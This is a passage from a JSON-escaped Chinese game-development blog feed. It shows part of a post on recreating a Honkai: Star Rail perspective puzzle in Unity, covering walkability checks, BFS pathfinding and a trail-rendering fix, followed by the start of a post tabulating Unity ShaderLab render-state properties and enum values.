class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapLower\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLeftUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eViewSpaceUpperCenterZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezMapUpper\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedXY\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eblock\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMiddleUpperTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e最后删三角形时,只要考虑 Left Upper Triangle 和 Middle Upper Triangle,因为其他三角形与方块是否可以行走是无关的。\u003c/p\u003e\n\u003ch3 id=\"构建无向图\"\u003e构建无向图\u003ca class=\"headerlink\" href=\"#构建无向图\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e判断一个平行四边形格子是否可以行走的方法:遍历此处所有的方块,看看能不能凑出 Left Upper Triangle 和 Middle Upper Triangle。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIsWalkable\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eget\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNone\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_blocks\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Walkable = LeftUpperTriangle | MiddleUpperTriangle\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eshapes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWalkable\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlockProjectedShapes\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWalkable\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e剩下的很简单,和普通的二维网格一样。\u003c/p\u003e\n\u003ch2 id=\"寻路\"\u003e寻路\u003ca class=\"headerlink\" href=\"#寻路\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e寻路一定要找最短路,否则角色可能会在地图上绕来绕去。这个 Demo 里用 bfs 就行。\u003c/p\u003e\n\u003ch2 id=\"找到正确的路径提示\"\u003e找到正确的路径提示\u003ca class=\"headerlink\" href=\"#找到正确的路径提示\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e小人行走前,会有个带拖尾的特效提前把路径展示出来。拖尾用 \u003ccode\u003eTrailRenderer\u003c/code\u003e 实现。\u003c/p\u003e\n\u003cp\u003e这里有个坑。直接给 \u003ccode\u003eTrailRenderer\u003c/code\u003e 应用小人移动的逻辑的话,因为地图部分地方有高度差,从相机看过去拖尾会断掉。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"拖尾的 artifact\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain6.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e把移动时的 y 固定即可解决这个问题。\u003c/p\u003e\n\u003chr /\u003e\n\u003cp\u003e设某个方块的 \u003ccode\u003eUpperCenter\u003c/code\u003e 在 view space 为 \u003cspan class=\"arithmatex\"\u003e\\((x, y, z)^T\\)\u003c/span\u003e。给定一个 world space 里的 \u003cspan class=\"arithmatex\"\u003e\\(y'\\)\u003c/span\u003e,需要找到 \u003cspan class=\"arithmatex\"\u003e\\(x'\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(z'\\)\u003c/span\u003e 使得 \u003cspan class=\"arithmatex\"\u003e\\((x', y', z')^T\\)\u003c/span\u003e 变换到 view space 后 x 和 y 分量分别等于 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e。\u003c/p\u003e\n\u003cp\u003e令 \u003ccode\u003eworldToCameraMatrix\u003c/code\u003e 等于\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x_1 \u0026amp;x_2 \u0026amp;x_3 \u0026amp;x_4 \\\\\n y_1 \u0026amp;y_2 \u0026amp;y_3 \u0026amp;y_4 \\\\\n z_1 \u0026amp;z_2 \u0026amp;z_3 \u0026amp;z_4 \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1 \\\\\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e可以列出方程\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x_1 \u0026amp;x_2 \u0026amp;x_3 \u0026amp;x_4 \\\\\n y_1 \u0026amp;y_2 \u0026amp;y_3 \u0026amp;y_4 \\\\\n z_1 \u0026amp;z_2 \u0026amp;z_3 \u0026amp;z_4 \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1 \\\\\n\\end{bmatrix} \\begin{bmatrix}\n x' \\\\\n y' \\\\\n z' \\\\\n 1\n\\end{bmatrix} = \\begin{bmatrix}\n x \\\\\n y \\\\\n t \\\\\n 1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e有三个变量 \u003cspan class=\"arithmatex\"\u003e\\(x',z',t\\)\u003c/span\u003e。解得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x' \\\\\n z' \\\\\n t\n\\end{bmatrix} = \\begin{bmatrix}\n x_1 \u0026amp;x_3 \u0026amp;0 \\\\\n y_1 \u0026amp;y_3 \u0026amp;0 \\\\\n z_1 \u0026amp;z_3 \u0026amp;-1 \\\\\n\\end{bmatrix}^{-1} \\left ( \\begin{bmatrix}\n x \\\\\n y \\\\\n 0\n\\end{bmatrix} - y'\\begin{bmatrix}\n x_2 \\\\\n y_2 \\\\\n z_2\n\\end{bmatrix} - \\begin{bmatrix}\n x_4 \\\\\n y_4 \\\\\n z_4\n\\end{bmatrix} \\right )\n\\]\u003c/div\u003e\n\u003cp\u003e把拖尾移动到 \u003cspan class=\"arithmatex\"\u003e\\((x', y', z')^T\\)\u003c/span\u003e(\u003cspan class=\"arithmatex\"\u003e\\(y'\\)\u003c/span\u003e 是可配置的定值),就能避免断裂。\u003c/p\u003e\n\u003ch2 id=\"这套算法的问题\"\u003e这套算法的问题\u003ca class=\"headerlink\" href=\"#这套算法的问题\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e视角必须锁死\u003c/li\u003e\n\u003cli\u003e处理不了纪念碑谷中的 T-Junction。参考下面视频:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/mCCC9hQm6MM?si=Df2R9I6B4kqWFM-C\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003ch2 id=\"更简单更泛用的方法\"\u003e更简单更泛用的方法\u003ca class=\"headerlink\" href=\"#更简单更泛用的方法\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e人工记录每种情况下的路径,程序根据不同情况选择路径,然后是正确答案就放个动画。\u003c/p\u003e\n\u003cp\u003e缺点是配置麻烦。\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-hsr-dream-ticker/"},{"title":"Unity 常用 Render State 属性 UI","time":"2024-02-18T06:27:11Z","content":"\u003ch1 id=\"Unity-常用-Render-State-属性-UI\"\u003eUnity 常用 Render State 属性 UI\u003ca class=\"headerlink\" href=\"#Unity-常用-Render-State-属性-UI\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e有时候想把 \u003ccode\u003eZTest\u003c/code\u003e、\u003ccode\u003eCull\u003c/code\u003e 等属性暴露到面板中配置,避免重复写相似的 Shader。这里直接把常用的都整理出来。\u003c/p\u003e\n\u003cp\u003e参考:\u003ca href=\"https://zhuanlan.zhihu.com/p/93194054\"\u003eShader面板上常用的一些内置枚举UI - 知乎\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"Properties\"\u003eProperties\u003ca class=\"headerlink\" href=\"#Properties\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e[Header(Option)]\n[Enum(UnityEngine.Rendering.CullMode)] _CullMode(\u0026quot;Cull Mode\u0026quot;, float) = 2\n[Enum(UnityEngine.Rendering.ColorWriteMask)] _ColorMask(\u0026quot;Color Mask\u0026quot;, Float) = 15\n[Enum(Off, 0, On, 1)] _ZWriteMode(\u0026quot;ZWrite Mode\u0026quot;, float) = 1\n[Enum(UnityEngine.Rendering.CompareFunction)] _ZTestMode(\u0026quot;ZTest Mode\u0026quot;, Float) = 4\n\n[Header(Blend)]\n[Enum(UnityEngine.Rendering.BlendOp)] _BlendOp(\u0026quot;Blend Op\u0026quot;, Float) = 0\n[Enum(UnityEngine.Rendering.BlendMode)] _SrcBlend(\u0026quot;Src Blend\u0026quot;, Float) = 1\n[Enum(UnityEngine.Rendering.BlendMode)] _DstBlend(\u0026quot;Dst Blend\u0026quot;, Float) = 0\n\n[Header(Stencil)]\n[IntRange] _StencilRef(\u0026quot;Stencil Ref\u0026quot;, Range(0, 255)) = 0\n[IntRange] _StencilReadMask(\u0026quot;Stencil ReadMask\u0026quot;, Range(0, 255)) = 255\n[IntRange] _StencilWriteMask(\u0026quot;Stencil WriteMask\u0026quot;, Range(0, 255)) = 255\n[Enum(UnityEngine.Rendering.CompareFunction)] _StencilComp(\u0026quot;Stencil Comp\u0026quot;, Float) = 8\n[Enum(UnityEngine.Rendering.StencilOp)] _StencilPass(\u0026quot;Stencil Pass\u0026quot;, Float) = 0\n[Enum(UnityEngine.Rendering.StencilOp)] _StencilFail(\u0026quot;Stencil Fail\u0026quot;, Float) = 0\n[Enum(UnityEngine.Rendering.StencilOp)] _StencilZFail(\u0026quot;Stencil ZFail\u0026quot;, Float) = 0\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e建议自己写一个 \u003ccode\u003eMaterialPropertyDrawer\u003c/code\u003e 绘制 \u003ccode\u003e_ColorMask\u003c/code\u003e。因为 \u003ccode\u003eColorWriteMask\u003c/code\u003e 是一个 Flags,但是 \u003ccode\u003e[Enum(UnityEngine.Rendering.ColorWriteMask)]\u003c/code\u003e 只能绘制成普通 Enum,无法组合多个值。\u003c/p\u003e\n\u003ch2 id=\"Commands\"\u003eCommands\u003ca class=\"headerlink\" href=\"#Commands\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e相关文档:\u003ca href=\"https://docs.unity3d.com/Manual/shader-shaderlab-commands.html\"\u003eShaderLab: commands\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003eCull [_CullMode]\nColorMask [_ColorMask]\nZWrite [_ZWriteMode]\nZTest [_ZTestMode]\n\nBlendOp [_BlendOp]\nBlend [_SrcBlend] [_DstBlend]\n\nStencil\n{\n Ref [_StencilRef]\n ReadMask [_StencilReadMask]\n WriteMask [_StencilWriteMask]\n Comp [_StencilComp]\n Pass [_StencilPass]\n Fail [_StencilFail]\n ZFail [_StencilZFail]\n}\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"Enum-表\"\u003eEnum 表\u003ca class=\"headerlink\" href=\"#Enum-表\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e相关的枚举都声明在 \u003ca href=\"https://github.com/Unity-Technologies/UnityCsReference/blob/master/Runtime/Export/Graphics/GraphicsEnums.cs\"\u003eRuntime/Export/Graphics/GraphicsEnums.cs\u003c/a\u003e 里。\u003c/p\u003e\n\u003cp\u003e下面的表基于 Unity 2023.3.0b5 的代码。\u003c/p\u003e\n\u003ch3 id=\"BlendMode\"\u003eBlendMode\u003ca class=\"headerlink\" href=\"#BlendMode\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eZero\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOne\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDstColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSrcColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusDstColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSrcAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusSrcColor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eDstAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusDstAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSrcAlphaSaturate\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e9\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eOneMinusSrcAlpha\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e10\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"BlendOp\"\u003eBlendOp\u003ca class=\"headerlink\" href=\"#BlendOp\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: left;\"\u003eName\u003c/th\u003e\n\u003cth style=\"text-align: left;\"\u003eValue\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eAdd\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e0\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eSubtract\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e1\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eReverseSubtract\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e2\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eMin\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e3\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eMax\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e4\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalClear\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e5\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalSet\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e6\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalCopy\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e7\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalCopyInverted\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e8\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalNoop\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e9\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalInvert\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e10\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalAnd\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e11\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalNand\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e12\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalOr\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e13\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalNor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e14\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalXor\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e15\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalEquivalence\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e16\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalAndReverse\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e17\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalAndInverted\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e18\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalOrReverse\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e19\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eLogicalOrInverted\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e20\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: left;\"\u003eMultiply\u003c/td\u003e\n\u003ctd style=\"text-align: left;\"\u003e21\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: 